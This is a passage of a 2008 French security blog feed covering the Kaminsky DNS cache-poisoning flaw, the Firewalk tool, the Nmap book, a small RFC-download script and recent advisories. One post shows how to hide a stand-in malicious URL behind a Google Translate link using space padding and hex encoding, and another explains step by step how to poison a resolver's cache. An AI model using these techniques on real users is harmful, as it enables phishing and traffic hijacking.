type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=2018187527978944113&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/2018187527978944113'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/2018187527978944113'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/08/kaspersky-2008-fun-sur-lids-et-le.html' title='Kaspersky 2008 : fun sur l&apos;IDS et le firewall intégré'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-8497661489214153517</id><published>2008-07-23T20:37:00.007+02:00</published><updated>2008-07-24T15:00:13.830+02:00</updated><title type='text'>Faille DNS expliquée</title><content type='html'>&lt;p align="justify"&gt;Bon, je reconnais que j'ai peut être parlé un peu vite lorsqu'hier je disais que je ne parlerais pas de la faille intrinsèque à l'architecture de DNS découverte par D. Kaminsky toussa...&lt;/p&gt;&lt;p align="justify"&gt;Ce que je voulais dire c'est que je n'en parlerais pas TANT QUE L'ATTAQUE NE SERAIT PAS CONNUE, et maintenant c'est fait! Qui a fait la boulette? on dira pas!&lt;/p&gt;&lt;p align="justify"&gt;La faille à été extrêmement médiatisée (fun de voir les médias grand public tenter d'expliquer le DNS cache poisoning à M/Mme les-hackeurs-vont-m'envoyer-des-virus ), mais l'attaque en elle même est restée secrète, bon plus maintenant donc...&lt;/p&gt;&lt;p align="justify"&gt;Pour capter le truc il faut avoir quelques notions sur le fonctionnement des DNS. &lt;/p&gt;&lt;p align="justify"&gt;&lt;em&gt;Basic&lt;/em&gt;: le DNS est le protocole qui permet de faire le lien entre noms d'hôtes ( www.google.com ) et addresses IP. &lt;/p&gt;&lt;p align="justify"&gt;Pour ceux qui aiment les RFC et qui n'ont rien de prévu les 4 prochains mois voila de quoi s'occuper : &lt;a href="http://www.dns.net/dnsrd/rfc/"&gt;http://www.dns.net/dnsrd/rfc&lt;/a&gt; pour les autres, la lecture de la &lt;a href="http://www.ietf.org/rfc/rfc1034.txt"&gt;RFC 1034&lt;/a&gt; est déjà bien enrichissante (et pour coder la &lt;a href="http://www.ietf.org/rfc/rfc1035.txt"&gt;1035&lt;/a&gt; parle de l'implémentation)&lt;/p&gt;&lt;p align="justify"&gt;Il reste du monde? Alors on peut reprendre. Une transaction DNS (requête + réponse) se fait autour d'un identifiant pseudo aléatoire, côdé sur 16 bits. Ainsi, pour fausser une réponse DNS, il faudrait connaitre cet identifiant, 16 bits c'est peu mais c'est quand même beaucoup à bruteforcer. Par contre, mathématiquement, si vous parvenez à faire éxécuter 1000 requêtes DNS à la victime, vous avez 1000 fois plus de chance de la piéger ^^&lt;/p&gt;&lt;p align="justify"&gt;Le second élément à prendre en compte pour mener à bien l'attaque qui nous interesse est l'existence d'additionnal RRs (les RRs - ressource records - sont les champs du paquet qui contiennent l'objet des requêtes/réponses, voir les RFC). Si une requête sur aa.domain.com aboutit avec comme additionnal RRs bb.domain.com, les deux adresses sont mises en cache. En cas d'attaque, vous attaquez donc deux hôtes du même domaine à la fois. Forcément du même domaine? ouais parce que le DNS c'est un peu Disneyland mais les clients sont quand même conçus pour être pas trop stupides.&lt;/p&gt;&lt;p align="justify"&gt;N'oublions pas que notre victime est un résolveur DNS, en lui envoyant des requêtes, il va interroger (via le mécanisme de récursion) des serveurs de contenu etc... Donc si vous faites en sorte que votre victime demande successivement aaaa.hackme.com, puis aaab.hackme.com etc... vous entrez en course contre le système récursif du serveur DNS cible. A chaque requête, le serveur rend un NXDOMAIN (domaine inconnu), vous êtes désavantagés à cause de l'existence de l'identifiant dont nous parlions au début, néanmoins, la force de l'attaque réside de le fait qu'il suffit d'une seule réussite (au sujet d'un hôte inexistant) à votre actif pour empoisonner le cache du serveur DNS victime pour n'importe quel autre du domaine, à l'aide des additional RRs!&lt;/p&gt;&lt;p align="justify"&gt;Ainsi, vous empoisonnez le cache pour aaaa.google.com ce dont on se fout un peu, mais aussi www.google.com, ce qui est un petit peu plus gênant pour les prochains! Evidement, on placerait dans de telles requêtes un TTL le plus long possible, histoire que l'effet persiste.&lt;/p&gt;&lt;p align="justify"&gt;Pour résumer : vous envoyez des requêtes à un résolveur, sur des hôtes inconnus, et envoyez également les réponses "du serveur" qu'il interrogera, jusqu'à ce que l'une de vos "réponse" soit prise à la place d'une vraie, vous avez alors empoisonné le cache pour bien plus qu'un hôte qui n'existe pas!&lt;/p&gt;&lt;p align="justify"&gt;La solution de Kaminsky (et du consortium d'industriels qui a patché la faille dans un bel exemple de  coopération) est de randomiser non seulement l'ID de transaction mais également le port source, ainsi, ce n'est plus seulement 16 mais 32 bits qu'il faut attaquer, et là c'est nettement plus chaud!&lt;/p&gt;&lt;p align="justify"&gt;L'auteur de l'article qui m'a inspiré (retiré maintenant) estime à une dizaine de secondes le temps nécessaire pour mener à bien l'attaque avec une connection intrernet rapide.&lt;/p&gt;&lt;p align="justify"&gt;Les patchs sont en cours de distribution, sinon vous pouvez passer sous OpenDNS, qui utilise des serveurs protégés, ou si vous maintenez un serveur DNS installer DJBDNS qui randomize son port source depuis des années. Attention aux phishers maintenant que l'attaque est disclosed et tous les serveurs non patchés!&lt;/p&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p align="justify"&gt;UPDATE : |)ruid et HDM (metasploit project) ont publié ce matin un e&lt;a href="http://www.milw0rm.com/exploits/6122"&gt;xploit fonctionnel&lt;/a&gt; sur &lt;a href="http://seclists.org/fulldisclosure/2008/Jul/index.html"&gt;Full-disclosure&lt;/a&gt;, intégré au metasploit framework, des attaques sont donc à prévoir.&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-8497661489214153517?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/8497661489214153517/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=8497661489214153517&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/8497661489214153517'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/8497661489214153517'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/07/faille-dns-explique.html' title='Faille DNS expliquée'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-186828277943907983</id><published>2008-07-22T22:21:00.006+02:00</published><updated>2008-12-12T09:40:21.671+01:00</updated><title type='text'>Security/Networking libs et temps qu'il reste à vivre</title><content type='html'>&lt;p align="justify"&gt;Je me suis offert récement l'excellent ouvrage de &lt;a href="http://www.packetfactory.net/"&gt;Mike Schiffman&lt;/a&gt; "Building open source security tools".&lt;/p&gt;&lt;p align="justify"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_ch7WAv-Jmeo/SIZGOrp42CI/AAAAAAAAAHs/Dtm3f9GoZV0/s320/bosnst.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5225941635660568610" /&gt;&lt;/p&gt;&lt;p align="justify"&gt;L'auteur y présente les paradigmes des outils de sécurité réseau, les librairies pratiques :&lt;/p&gt;&lt;ul align="justify"&gt;&lt;li&gt;&lt;strong&gt;Libpcap&lt;/strong&gt; : capture de paquets&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Libnet&lt;/strong&gt; : création/injection de paquets - écrite par l'auteur -&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Libnids&lt;/strong&gt; : monitoring et évaluation d'évènements réseau&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Libdnet&lt;/strong&gt; : manipulations sur les basses couches du réseau (accès au cache ARP du noyau, analyse des interfaces réseau, construction de paquets...)&lt;/li&gt;&lt;li&gt;&lt;strong&gt;LibSf&lt;/strong&gt; : OS fingerprinting&lt;/li&gt;&lt;li&gt;&lt;strong&gt;LibOpenSSL&lt;/strong&gt; : cryptographie&lt;/li&gt;&lt;/ul&gt;&lt;p align="justify"&gt;Mais aussi des présentations des techniques de reconnaissance passive et active, des techniques d'attaque, de défense et - wouhou!- un gros chapitre sur &lt;a href="http://www.packetfactory.net/projects/firewalk"&gt;Firewalk&lt;/a&gt;! Pour ceux qui ne connaissent pas, Firewalk permet de déterminer les règles appliquées par un firewall (ACL).&lt;/p&gt;&lt;p align="justify"&gt;Tout comme traceroute, Firewalk se base sur l'IP expiration (décrémentation du champ TTL des paquets IP à chaque `hop') pour tester le fonctionnement d'un firewall sans connaissance de l'état des machines qu'il protège.&lt;/p&gt;&lt;p align="justify"&gt;Le champ TTL (Time to Live) d'un packet IP permet d'éviter les boucles de routage. Lorsqu'un packet est émis, ce champ est remplit d'une valeur plus ou moins arbitraire, décrémentée par chaque routeur que le paquet traverse. Lorsqu'il arrive à zero, le routeur (s'il se comporte normalement) doit émettre un paquet "ICMP detination unreachable" à l'émetteur. Ainsi, l'outil traceroute tente de joindre une cible donnée avec un ttl de 1, puis de 2 puis 3 etc... afin de déterminer par quels routeurs passent les packets pour atteindre la cible.&lt;/p&gt;&lt;p align="justify"&gt;Firewalk détermine donc d'abord la distance (en hops bien sûr!) qui le sépare du firewall. Disons 3.&lt;/p&gt;&lt;p align="justify"&gt;Il débute ensuite un scan d'une machine - réelle - au sein du réseau, située à plus d'un hop du firewall, tout en fixant le TTL des paquets envoyés à 4. Ainsi, ils doivent passer le firewall, sans néanmoins atteindre la machine scannée. Les paquets sont envoyés en UDP et TCP, port par port ('fin selon ce que l'on spécifie quoi!).&lt;/p&gt;&lt;p align="justify"&gt;Si le paquet respecte une règle du firewall ("autorisé à passer"), Firewalk reçoit un message "ICMP destination unreachable" (Time to Live insuffisant pour atteindre la machine scannée)&lt;/p&gt;&lt;p align="justify"&gt;Sinon, le timeout expire : le port est bloqué par le firewall.&lt;/p&gt;&lt;p align="justify"&gt;C'est tout bête, c'est super efficace, c'est bien écrit, c'est open source, c'est du old school, rhâââ que c'est beau!!&lt;/p&gt;&lt;p align="justify"&gt;&lt;/p&gt;&lt;p align="justify"&gt;J'utilise actuelement les libpcap et libnet pour un projet de stage, et je suis impressionné par la puissance qu'elles offrent, bien que le côté "opaque" des manipulations me gène un petit peu, l'écriture des softs est simple et les libs assez matures pour ne pas perdre en possibilités.&lt;/p&gt;&lt;p align="justify"&gt;Savoir que le code produit est portable est également motivant. Je ne pense pas finalement réécrire &lt;a href="http://code.google.com/p/rarping"&gt;RARPing&lt;/a&gt; avec ces librairies, mais &lt;a href="http://savannah.nongnu.org/projects/aping"&gt;APing&lt;/a&gt; aurait sans doute à y gagner (portabilité, lisibilité, rapidité etc...)&lt;/p&gt;&lt;p align="justify"&gt;Stay tuned! (hum inutile d'être trop trop `tuned' quand même, vu le temps libre dont je dispose, ça sera pas fait demain non plus...)&lt;/p&gt;&lt;p align="justify"&gt;Et non je ne parlerais pas de Dan Kaminsky avant sa conf au Black Hat 2008!! Par contre les noms des nominés aux  pwnies awards sont maintenant publiés sur &lt;a href="http://pwnie-awards.org/2008/awards.html"&gt;http://pwnie-awards.org/2008/awards.html&lt;/a&gt; et ça c'est marrant!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-186828277943907983?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/186828277943907983/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=186828277943907983&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/186828277943907983'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/186828277943907983'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/07/securitynetworking-libs-et-temps-quil.html' title='Security/Networking libs et temps qu&apos;il reste à vivre'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_ch7WAv-Jmeo/SIZGOrp42CI/AAAAAAAAAHs/Dtm3f9GoZV0/s72-c/bosnst.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-4285608194465937434</id><published>2008-07-13T11:28:00.002+02:00</published><updated>2008-07-13T11:50:41.439+02:00</updated><title type='text'>The Nmap book, par Fyodor</title><content type='html'>Bon, inutile je suppose de s'attarder sur les présentations, Nmap est de l'avis de tous le scanner de ports le plus puissant aujourd'hui. Il dispose aussi de la capacité à reconnaitre un OS à distance, d'une détection des versions des services, d'un moteur de script, et d'innombrables projets auxiliaires (GUI, nping, ncat, base de scripts...)&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Le projet a commencé &lt;a href="http://www.phrack.org/issues.html?issue=51&amp;amp;id=11#article"&gt;ici&lt;/a&gt; par &lt;a href="http://insecure.org/fyodor"&gt;Fyodor&lt;/a&gt;. Le même Fyodor est en train de terminer l'écriture d'un livre au sujet de Nmap. Il a récemment mis en ligne presque la moitié de son livre, en attendant une sortie définitive (prévue pour début/mi aout).&lt;/p&gt;&lt;p&gt;Ces chapitres sont disponibles ici : &lt;a href="http://nmap.org/book/toc.html"&gt;http://nmap.org/book/toc.html&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-4285608194465937434?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/4285608194465937434/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=4285608194465937434&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/4285608194465937434'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/4285608194465937434'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/07/nmap-book-par-fyodor.html' title='The Nmap book, par Fyodor'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-743077294820086423</id><published>2008-06-18T22:56:00.004+02:00</published><updated>2008-06-18T23:10:53.691+02:00</updated><title type='text'>Des RFC sous la main</title><content type='html'>C'est lors d'une discussion avec &lt;a href="http://kbok.free.fr/"&gt;Kbok&lt;/a&gt; qu'est apparue l'envie de disposer des RFC comme on dispose des pages de man. Voici donc un petit script shell pour faire le boulot:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;# (C) 2008, Arnaud Bellec [arnaud.bellec at gmail dot com]&lt;br /&gt;# (C) 2008, Henri Doreau [henri.doreau at gmail dot com]&lt;br /&gt;# (FUCK) 2008, le mec qui bloque wget sur son site&lt;br /&gt;&lt;br /&gt;# This program is free software; you can redistribute it and/or modify&lt;br /&gt;&lt;br /&gt;# it under the terms of the GNU General Public License as published by&lt;br /&gt;# the Free Software Foundation; either version 3 of the License, or&lt;br /&gt;# (at your option) any later version.&lt;br /&gt;&lt;br /&gt;# This program is distributed in the hope that it will be useful,&lt;br /&gt;# but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;br /&gt;# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&lt;br /&gt;# GNU General Public License for more details.&lt;br /&gt;&lt;br /&gt;# You should have received a copy of the GNU General Public License&lt;br /&gt;# along with this program; if not, write to the Free Software&lt;br /&gt;# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.&lt;br /&gt;&lt;br /&gt;DIRNAME=_rfc&lt;br /&gt;&lt;br /&gt;# Storage&lt;br /&gt;if [ ! -d $DIRNAME ]&lt;br /&gt;then&lt;br /&gt;mkdir $DIRNAME&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;# We look for an existent file, else we'll download and process it&lt;br /&gt;if [ -z $1 ]&lt;br /&gt;then&lt;br /&gt;echo "No argument supplied!"&lt;br /&gt;echo "Usage : $0 [number of requested RFC]"&lt;br /&gt;else&lt;br /&gt;file="rfc"`echo $1`".txt"&lt;br /&gt;if [ -f $DIRNAME/$file ]&lt;br /&gt;then&lt;br /&gt;    over $DIRNAME/$file&lt;br /&gt;else&lt;br /&gt;    wget -U "tralala" -q http://www.faqs.org/ftp/rfc/rfc$1.txt -O $DIRNAME/$file&lt;br /&gt;    sed '1,32d' -i $DIRNAME/$file&lt;br /&gt;    sed -e 's/&amp;lt;[^&amp;gt;]*&amp;gt;//g; /&amp;lt;/N;' -i $DIRNAME/$file&lt;br /&gt;     fi&lt;br /&gt;fi&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Bon alors effectivement la license prend autant de place que le script mais l'idée est là! Il manque une commande sed (ou autre) pour la conversion des caractères spéciaux du HTML.&lt;br /&gt;L'utilisation est trivial, vous pouvez rendre le script executable:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;chmod u+x rfc.sh&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;et créer l'alias suivant dans votre .bashrc:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;alias "rfc"="~/rf.sh"&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Vous n'avez ensuite qu'à le lancer :&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;rfc 1035&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;et il se comporte à peu près comme le man!&lt;br /&gt;En espérant qu'il vous serve!!&lt;br /&gt;&lt;br /&gt;A part ça la première version beta de mon &lt;a href="http://code.google.com/p/rarping"&gt;Rarping&lt;/a&gt; est sortie aujourd'hui. N'hésitez pas à y jeter un oeil et me renvoyer vos commentaires, idées, patches etc...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-743077294820086423?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/743077294820086423/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=743077294820086423&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/743077294820086423'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/743077294820086423'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/06/des-rfc-sous-la-main.html' title='Des RFC sous la main'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-4922027007359737810</id><published>2008-06-04T13:08:00.004+02:00</published><updated>2008-06-05T22:11:33.678+02:00</updated><title type='text'>Passage de malwares aux domaines de confiance [Google CSRF issue]</title><content type='html'>Bien moins violent que ce qui se déroule en ce moment (attaques de browsers via flash, via des iframes insérées malicieusement dans des sites web de confiance (ou pas) via des injections SQL via... ha non c'est tout!), je viens juste de remarquer comment un attaquant pourrait faire s'executer du javascript sur un domaine de confiance tels que ceux des gros portails (Google, yahoo etc...)&lt;br /&gt;&lt;br /&gt;Ces sites proposent des moteurs de traduction de pages, lesquels laissent les contenus actifs s'executer. Ce qui est normal, si on ne leur demande pas l'inverse, option non trouvée (disponible?) néanmoins.&lt;br /&gt;Là ou le bât blesse, c'est qu'une fois la page traduite, elle peut être appelée en GET banalement.&lt;br /&gt;&lt;br /&gt;-"Huh? il y a un problème à ça?"&lt;br /&gt;Parfaitement, car la sombre url pirate&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;www.evil_russian_warez.hk&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;devient la douce et belle&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;http://translate.google.com/translate?u=http%3A%2F%2Fwww.evil_russian_warez.hk&amp;amp;hl=en&amp;amp;ie=UTF8&amp;amp;sl=en&amp;amp;tl=fr&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;et quiconque ne prête pas attention à la fin de l'url, risque de cliquer sur le lien en confiance.&lt;br /&gt;&lt;br /&gt;-"Ba ouais mais on voit encore l'url pirate pas loin!!"&lt;br /&gt;Aucun souci l'ami! il suffit alors de la faire précéder d'une série d'espaces, qui seront convertis en '+' dans l'URL finale, comme ceci :&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;http://translate.google.com/translate?u=++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++http%3A%2F%2Fwww.evil_russian_warez.hk&amp;amp;hl=en&amp;amp;ie=UTF8&amp;amp;sl=en&amp;amp;tl=fr&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;C'est effectivement plus discret. Mais maintenant que nous sommes lancés...&lt;br /&gt;Sur la page de traduction de Google, supprimons le "http://" lisible dans le champ d'url de la page à traduire et tentons d'encoder le reste de l'url en hexa:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;%77%77%77%2E%65%76%69%6C%5F%72%75%73%73%69%61%6E%5F%77%61%72%65%7A%2E%68%6B&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;l'url de la page à traduire est la suivante :&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;http://translate.google.com/translate?u=%2577%2577%2577%252E%2565%2576%2569%256C%255F%2572%2575%2573%2573%2569%2561%256E%255F%2577%2561%2572%2565%257A%252E%2568%256B&amp;amp;hl=en&amp;amp;ie=UTF8&amp;amp;sl=en&amp;amp;tl=fr&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Magie du web: ça fonctionne, Google tente bien de joindre le serveur spécifié! Bien évidemment, nous sommes ici dans du fishing pour cliqueurs névrosés et stupides, néanmoins, nous avons obfusqué simplement une url pirate et utilisons un domaine de confiance!!&lt;br /&gt;Cet outil, comme de nombreuses CSRF, peut servir à de stupides tentatives de fishing, mais aussi à des attaques plus évoluées sur requêtes non désirées.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-4922027007359737810?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/4922027007359737810/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=4922027007359737810&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/4922027007359737810'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/4922027007359737810'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/06/passage-de-malwares-aux-domaines-de.html' title='Passage de malwares aux domaines de confiance [Google CSRF issue]'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-3045639074572435596</id><published>2008-05-27T21:17:00.005+02:00</published><updated>2008-05-27T23:31:25.946+02:00</updated><title type='text'>Ghost vuln... bhooooooooooo!!</title><content type='html'>&lt;div style="text-align: justify;"&gt;(Pour toute réclamation concernant la précision du titre de l'article voire avec mes avocats)&lt;br /&gt;Petit post au milieu d'une periode d'examens divers gourmande en temps! Petit panorama de ce qui attira mes yeux récemment.&lt;br /&gt;&lt;br /&gt;Premierement (vous allez voire d'où me vient le titre incompréhensible de l'article :) ) la publication sur securityFocus d'un &lt;a href="http://www.securityfocus.com/bid/29383"&gt;advisory sur une vulnerabilité du noyau linux&lt;/a&gt;. Le petit détail troublant c'est que personne ne semble savoir à quoi réfère cet advisory! La faille n'est pas classée, ils manquent d'informations, aucun exploit aperçu dans la nature... Bref, la faille fantôme! Sans doute un effet de l'accroissement brutal des responsible disclosures qui consistent à ne révéler une faille au grand public qu'après que les developpeurs l'aient patché.&lt;br /&gt;&lt;br /&gt;Deuxièmement, un DoS via la fonction sleep de PHP qui l'eu cru? Vous en rêviez, Bugtrack vous l'offre! A voir &lt;a href="http://seclists.org/bugtraq/2008/May/0278.html"&gt;ici&lt;/a&gt; et la aussi : &lt;a href="http://www.milw0rm.com/exploits/5679"&gt;http://www.milw0rm.com/exploits/5679&lt;/a&gt; Le principe est simple, le temps d'execution de sleep() n'est pas comptabilisé dans la limite de temps d'execution des scripts PHP imposée courament par les serveurs web. L'exploit sature la memoire pour provoquer le DoS annoncé. Rien d'énorme cependant, l'attribution même du statut de "vulnérabilité" à cette annonce est d'ailleur contestée sur Bugtraq.&lt;br /&gt;&lt;br /&gt;Enfin, la création il y a quelques temps de l'&lt;a href="http://ocert.org/"&gt;OCERT (Open Source Computer Emergency Response Team)&lt;/a&gt;, un groupe d'experts en securité, assisté de la communauté, créé afin d'apporter un petit peu de réactivité à la securité des projets open source. Prometteur, annoncé à grands coups de buzz, à suivre...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pendant ce temps là, Adrian Pastor continue de pentester son téléphone:&lt;br /&gt;&lt;a href="http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub"&gt;&lt;br /&gt;http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-2"&gt;http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-2&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-3"&gt;http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-3&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-4"&gt;http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-4&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-5"&gt;http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-5&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.gnucitizen.org/blog/default-key-algorithm-in-thomson-and-bt-home-hub-routers"&gt;http://www.gnucitizen.org/blog/default-key-algorithm-in-thomson-and-bt-home-hub-routers&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.gnucitizen.org/blog/dumping-the-admin-password-of-the-bt-home-hub"&gt;http://www.gnucitizen.org/blog/dumping-the-admin-password-of-the-bt-home-hub&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.gnucitizen.org/blog/dumping-the-admin-password-of-the-bt-home-hub-pt-2"&gt;http://www.gnucitizen.org/blog/dumping-the-admin-password-of-the-bt-home-hub-pt-2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;De l'acharnement? où ça?&lt;br /&gt;;)&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-3045639074572435596?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/3045639074572435596/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=3045639074572435596&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/3045639074572435596'/><link rel='self' type='application/atom+xml' 